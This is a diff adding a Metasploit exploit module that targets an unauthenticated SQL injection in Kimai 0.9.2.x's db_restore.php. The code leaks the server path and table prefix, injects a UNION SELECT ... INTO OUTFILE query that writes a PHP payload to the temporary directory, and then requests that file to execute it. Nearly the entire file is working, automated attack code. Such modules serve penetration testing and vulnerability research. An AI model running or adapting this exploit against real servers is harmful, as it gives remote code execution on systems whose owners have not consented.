|
| 1 | +## |
| 2 | +# This module requires Metasploit: http//metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Exploit::Remote |
| 9 | + Rank = AverageRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::HttpClient |
| 12 | + include Msf::Exploit::FileDropper |
| 13 | + |
| 14 | + def initialize(info={}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => "Kimai v0.9.2 'db_restore.php' SQL Injection", |
| 17 | + 'Description' => %q{ |
| 18 | + This module exploits a SQL injection vulnerability in Kimai version |
| 19 | + 0.9.2.x. The 'db_restore.php' file allows unauthenticated users to |
| 20 | + execute arbitrary SQL queries. This module writes a PHP payload to |
| 21 | + disk if the following conditions are met: The PHP configuration must |
| 22 | + have 'display_errors' enabled, Kimai must be configured to use a |
| 23 | + MySQL database running on localhost; and the MySQL user must have |
| 24 | + write permission to the Kimai 'temporary' directory. |
| 25 | + }, |
| 26 | + 'License' => MSF_LICENSE, |
| 27 | + 'Author' => |
| 28 | + [ |
| 29 | + 'drone (@dronesec)', # Discovery and PoC |
| 30 | + 'Brendan Coles <bcoles[at]gmail.com>' # Metasploit |
| 31 | + ], |
| 32 | + 'References' => |
| 33 | + [ |
| 34 | + ['EDB' => '25606'], |
| 35 | + ['OSVDB' => '93547'], |
| 36 | + ], |
| 37 | + 'Payload' => |
| 38 | + { |
| 39 | + 'Space' => 8000, # HTTP POST |
| 40 | + 'DisableNops'=> true, |
| 41 | + 'BadChars' => "\x00\x0a\x0d\x27" |
| 42 | + }, |
| 43 | + 'Arch' => ARCH_PHP, |
| 44 | + 'Platform' => 'php', |
| 45 | + 'Targets' => |
| 46 | + [ |
| 47 | + # Tested on Kimai versions 0.9.2.beta, 0.9.2.1294.beta, 0.9.2.1306-3 |
| 48 | + [ 'Kimai version 0.9.2.x (PHP Payload)', { 'auto' => true } ] |
| 49 | + ], |
| 50 | + 'Privileged' => false, |
| 51 | + 'DisclosureDate' => 'May 21 2013', |
| 52 | + 'DefaultTarget' => 0)) |
| 53 | + |
| 54 | + register_options( |
| 55 | + [ |
| 56 | + OptString.new('TARGETURI', [true, 'The base path to Kimai', '/kimai/']), |
| 57 | + OptString.new('FALLBACK_TARGET_PATH', [false, 'The path to the web server document root directory', '/var/www/']), |
| 58 | + OptString.new('FALLBACK_TABLE_PREFIX', [false, 'The MySQL table name prefix string for Kimai tables', 'kimai_']) |
| 59 | + ], self.class) |
| 60 | + end |
| 61 | + |
| 62 | + # |
| 63 | + # Checks if target is Kimai version 0.9.2.x |
| 64 | + # |
| 65 | + def check |
| 66 | + print_status("#{peer} - Checking version...") |
| 67 | + res = send_request_raw({ 'uri' => normalize_uri(target_uri.path, "index.php") }) |
| 68 | + if not res |
| 69 | + print_error("#{peer} - Request timed out") |
| 70 | + return Exploit::CheckCode::Unknown |
| 71 | + elsif res.body =~ /Kimai/ and res.body =~ /(0\.9\.[\d\.]+)<\/strong>/ |
| 72 | + version = "#{$1}" |
| 73 | + print_good("#{peer} - Found version: #{version}") |
| 74 | + if version >= "0.9.2" and version <= "0.9.2.1306" |
| 75 | + return Exploit::CheckCode::Detected |
| 76 | + else |
| 77 | + return Exploit::CheckCode::Safe |
| 78 | + end |
| 79 | + end |
| 80 | + Exploit::CheckCode::Unknown |
| 81 | + end |
| 82 | + |
| 83 | + def exploit |
| 84 | + |
| 85 | + # Get file system path |
| 86 | + print_status("#{peer} - Retrieving file system path...") |
| 87 | + res = send_request_raw({ 'uri' => normalize_uri(target_uri.path, 'includes/vars.php') }) |
| 88 | + if not res |
| 89 | + fail_with(Failure::Unknown, "#{peer} - Request timed out") |
| 90 | + elsif res.body =~ /Undefined variable: .+ in (.+)includes\/vars\.php on line \d+/ |
| 91 | + path = "#{$1}" |
| 92 | + print_good("#{peer} - Found file system path: #{path}") |
| 93 | + else |
| 94 | + path = normalize_uri(datastore['FALLBACK_TARGET_PATH'], target_uri.path) |
| 95 | + print_warning("#{peer} - Could not retrieve file system path. Assuming '#{path}'") |
| 96 | + end |
| 97 | + |
| 98 | + # Get MySQL table name prefix from temporary/logfile.txt |
| 99 | + print_status("#{peer} - Retrieving MySQL table name prefix...") |
| 100 | + res = send_request_raw({ 'uri' => normalize_uri(target_uri.path, 'temporary', 'logfile.txt') }) |
| 101 | + if not res |
| 102 | + fail_with(Failure::Unknown, "#{peer} - Request timed out") |
| 103 | + elsif prefixes = res.body.scan(/CREATE TABLE `(.+)usr`/) |
| 104 | + table_prefix = "#{prefixes.flatten.last}" |
| 105 | + print_good("#{peer} - Found table name prefix: #{table_prefix}") |
| 106 | + else |
| 107 | + table_prefix = normalize_uri(datastore['FALLBACK_TABLE_PREFIX'], target_uri.path) |
| 108 | + print_warning("#{peer} - Could not retrieve MySQL table name prefix. Assuming '#{table_prefix}'") |
| 109 | + end |
| 110 | + |
| 111 | + # Create a backup ID |
| 112 | + print_status("#{peer} - Creating a backup to get a valid backup ID...") |
| 113 | + res = send_request_cgi({ |
| 114 | + 'method' => 'POST', |
| 115 | + 'uri' => normalize_uri(target_uri.path, 'db_restore.php'), |
| 116 | + 'vars_post' => { |
| 117 | + 'submit' => 'create backup' |
| 118 | + } |
| 119 | + }) |
| 120 | + if not res |
| 121 | + fail_with(Failure::Unknown, "#{peer} - Request timed out") |
| 122 | + elsif backup_ids = res.body.scan(/name="dates\[\]" value="(\d+)">/) |
| 123 | + id = "#{backup_ids.flatten.last}" |
| 124 | + print_good("#{peer} - Found backup ID: #{id}") |
| 125 | + else |
| 126 | + fail_with(Failure::Unknown, "#{peer} - Could not retrieve backup ID") |
| 127 | + end |
| 128 | + |
| 129 | + # Write PHP payload to disk using MySQL injection 'into outfile' |
| 130 | + fname = "#{rand_text_alphanumeric(rand(10)+10)}.php" |
| 131 | + sqli = "#{id}_#{table_prefix}var UNION SELECT '<?php #{payload.encoded} ?>' INTO OUTFILE '#{path}/temporary/#{fname}';-- " |
| 132 | + print_status("#{peer} - Writing payload (#{payload.encoded.length} bytes) to '#{path}/temporary/#{fname}'...") |
| 133 | + res = send_request_cgi({ |
| 134 | + 'method' => 'POST', |
| 135 | + 'uri' => normalize_uri(target_uri.path, 'db_restore.php'), |
| 136 | + 'vars_post' => Hash[{ |
| 137 | + 'submit' => 'recover', |
| 138 | + 'dates[]' => sqli |
| 139 | + }.to_a.shuffle] |
| 140 | + }) |
| 141 | + if not res |
| 142 | + fail_with(Failure::Unknown, "#{peer} - Request timed out") |
| 143 | + elsif res.code == 200 |
| 144 | + print_good("#{peer} - Payload sent successfully") |
| 145 | + register_files_for_cleanup(fname) |
| 146 | + else |
| 147 | + print_error("#{peer} - Sending payload failed. Received HTTP code: #{res.code}") |
| 148 | + end |
| 149 | + |
| 150 | + # Remove the backup |
| 151 | + print_status("#{peer} - Removing the backup...") |
| 152 | + res = send_request_cgi({ |
| 153 | + 'method' => 'POST', |
| 154 | + 'uri' => normalize_uri(target_uri.path, 'db_restore.php'), |
| 155 | + 'vars_post' => Hash[{ |
| 156 | + 'submit' => 'delete', |
| 157 | + 'dates[]' => "#{id}" |
| 158 | + }.to_a.shuffle] |
| 159 | + }) |
| 160 | + if not res |
| 161 | + print_warning("#{peer} - Request timed out") |
| 162 | + elsif res.code == 302 and res.body !~ /#{id}/ |
| 163 | + vprint_good("#{peer} - Deleted backup with ID '#{id}'") |
| 164 | + else |
| 165 | + print_warning("#{peer} - Could not remove backup with ID '#{id}'") |
| 166 | + end |
| 167 | + |
| 168 | + # Execute payload |
| 169 | + print_status("#{peer} - Retrieving file '#{fname}'...") |
| 170 | + res = send_request_raw({ |
| 171 | + 'uri' => normalize_uri(target_uri.path, 'temporary', "#{fname}") |
| 172 | + }, 5) |
| 173 | + end |
| 174 | +end |
0 commit comments